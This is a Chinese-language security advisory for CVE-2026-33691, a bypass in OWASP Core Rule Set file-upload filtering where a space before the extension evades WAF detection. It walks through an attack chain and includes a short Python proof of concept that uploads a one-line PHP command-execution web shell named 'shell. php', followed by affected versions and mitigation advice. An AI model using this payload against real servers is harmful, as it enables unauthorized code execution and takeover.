IPBUF安全漏洞报告
English
CVE-2026-33691 CVSS 6.8 中危

CVE-2026-33691 OWASP CRS文件上传绕过漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-33691
漏洞类型
文件上传绕过
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OWASP Core Rule Set (CRS)

相关标签

WAF绕过文件上传OWASP CRS代码执行CVSS-6.8

漏洞概述

OWASP Core Rule Set (CRS) 在 3.3.9 和 4.25.0 之前的版本中存在一处文件上传过滤绕过漏洞。由于受影响的安全规则未对文件名中的空白字符进行规范化处理,攻击者可以在文件扩展名前插入空格(例如 photo. php),从而绕过 WAF 的文件类型检测。这使得攻击者能够上传并执行具有危险扩展名(如 .php, .jsp)的 WebShell,对目标系统的完整性构成严重威胁。

技术细节

该漏洞源于 OWASP CRS 处理文件上传请求时的逻辑缺陷。WAF 在检查上传文件的扩展名时,利用正则表达式拦截 .php、.jsp 等可执行脚本。然而,受影响版本的规则引擎未在执行正则匹配前对文件名进行空白字符规范化处理。攻击者可构造包含空格的恶意文件名(如 "shell. php"),导致正则匹配失败,从而绕过 WAF 检测。后端 Web 服务器在保存文件时通常会自动去除扩展名前的空格,最终保存为可执行的 "shell.php"。攻击者随后可通过 URL 访问该文件,在服务器端执行任意代码,完全控制受影响的应用程序。

攻击链分析

STEP 1
1. 侦察
攻击者识别目标 Web 应用使用了存在漏洞的 OWASP CRS 版本(3.3.9 之前或 4.25.0 之前)。
STEP 2
2. 构造恶意载荷
攻击者准备一个恶意脚本文件(如 PHP WebShell),并将其文件名修改为包含空白填充的形式(例如 shell. php)。
STEP 3
3. 绕过检测
攻击者发送包含恶意文件的 HTTP POST 请求。由于文件名包含空格,CRS 的正则规则未能匹配到危险扩展名,请求被允许通过。
STEP 4
4. 文件写入
后端 Web 服务器接收文件,在处理文件名时自动去除空格,将文件保存为 shell.php。
STEP 5
5. 执行代码
攻击者通过浏览器访问上传的文件路径,触发服务器端代码执行,从而获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://example.com/upload.php" # Malicious file with a space before the extension # The WAF rule checks for ".php" but fails on ". php" files = { 'file': ('shell. php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } response = requests.post(url, files=files) if response.status_code == 200: print("File uploaded successfully. Attempt to access: /uploads/shell.php") else: print("Upload failed")

影响范围

OWASP CRS < 3.3.9
OWASP CRS >= 4.0.0, < 4.25.0

防御指南

临时缓解措施
如果无法立即升级,建议在 WAF 规则链前端或后端应用服务器上配置额外的文件名规范化规则,明确拒绝包含空格或特殊字符的文件名,或在文件保存前强制重命名文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表